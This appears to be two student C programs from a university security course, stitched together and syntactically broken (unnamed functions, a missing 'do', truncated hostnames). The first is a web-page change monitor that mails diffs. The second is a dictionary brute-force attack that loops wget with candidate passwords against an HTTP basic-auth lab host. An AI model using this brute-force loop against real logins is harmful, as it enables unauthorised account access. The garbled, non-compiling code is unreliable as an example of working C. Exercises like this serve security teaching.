#include<stdio.h>
#include<stdlib.h>

int ()
{

FILE *fin1;
FILE *fin2;
int flag=0;


while(1)
{
    
        system("wget -p http://www.cs.rmit.edu./students");

        system("cd www.cs.rmit.edu./");

    
    
   if(flag>0)
   {
    
    fin1=fopen("./watchtext/index.html","r");
    fin2=fopen("./watchtext/test2.txt","r");
    system("diff ./www.cs.rmit.edu./students/index.html ./watchtext/index.html | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html ");
    system("md5sum ./www.cs.rmit.edu./images/*.* > ./www.cs.rmit.edu./test2.txt");
    system("diff ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt | mail @cs.rmit.edu.");
    system("cp ./www.cs.rmit.edu./test2.txt ./watchtext/test2.txt");
    system("rm ./www.cs.rmit.edu./test2.txt");
           
    fclose(fin2);
    fclose(fin1);   
   }    
  
    if(flag==0)
    {
     system("mkdir watchtext");     
     if((fin1=fopen("./watchtext/index.html","r"))==NULL)
     {
      system("cp ./www.cs.rmit.edu./students/index.html ./watchtext/index.html");
      system("md5sum ./www.cs.rmit.edu./images/*.* > ./watchtext/test2.txt");
      
      flag++;
      }
     
   } 
    
  
  
   printf("Running every 24 hours");     
  sleep(86400); 
  
}
 system("rmdir ./watchtext");      
}       
       
       
       
       

#include <stdio.h>
#include <stdlib.h>
#include <strings.h>
#include <ctype.h>
#include<sys/time.h>

int ()
{
  char first[80], last[50];
  int count =0;
  int Start_time,End_time,Total_time,average;
  char password[15], *getWord;
  getWord = " ";
  FILE *fp;
  int systemres = 1;
  fp = fopen("words", "r");
  Start_time = time();
  strcpy(first, "wget --http-user= --http-passwd=");
  strcpy(last, " http://sec-crack.cs.rmit.edu./SEC/2/");

  {
    getWord = fgets(password, 15, fp);
    if (getWord == NULL) exit(1);
    password [ strlen(password) - 1 ] = '\0';
    if(strlen(password) == 3)
    {
    strcat(first, password);
    strcat(first, last);
    printf("The length of the word is : %d", strlen(password));
    printf("\n %s \n",first);
    count++;
    systemres = system(first);
    if (systemres == 0)
    {
		printf(" Time =%11dms\n", Start_time);
		End_time = time();
		Total_time = (End_time - Start_time);
		Total_time /= 1000000000.0;
		printf("totaltime in seconds =%lldsec\n", Total_time);
		printf("Total  of attempts %d", count);
		printf("\nsuccess %d %s\n",systemres,password);

       printf("\nsuccess %d %s\n",systemres,password);
       exit(1);
    }
    strcpy(first, "");
    strcpy(first, "wget --http-user= --http-passwd=");
    printf("%s", password);
  }
 }
while(getWord != NULL);

}
